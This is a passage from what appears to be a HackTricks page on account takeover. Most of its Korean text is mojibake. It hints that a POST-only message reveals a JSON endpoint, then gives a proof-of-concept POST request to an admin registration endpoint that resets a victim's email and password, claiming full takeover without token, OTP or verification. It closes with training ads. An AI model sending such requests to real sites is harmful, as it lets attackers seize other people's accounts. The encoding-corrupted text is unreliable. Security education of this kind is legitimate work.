  • ๋ฐฉ๋ฒ• ํžŒํŠธ: โ€œOnly POST request is allowed.โ€ ๊ฐ™์€ ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” GET์€ ์˜ฌ๋ฐ”๋ฅธ ๋ฉ”์„œ๋“œ๊ฐ€ POST์ž„์„, ๊ทธ๋ฆฌ๊ณ  JSON ๋ฐ”๋””๊ฐ€ ์˜ˆ์ƒ๋จ์„ ๋‚˜ํƒ€๋‚ด๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.
  • ์‹ค์ œ ์‚ฌ๋ก€์—์„œ ๊ด€์ฐฐ๋œ ์ตœ์†Œ ๋ฐ”๋””:
{"email":"victim@example.com","password":"New@12345"}

์˜ˆ์ œ PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

์˜ํ–ฅ: reset token, OTP ๋˜๋Š” email verification ์—†์ด Full Account Takeover (ATO)์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ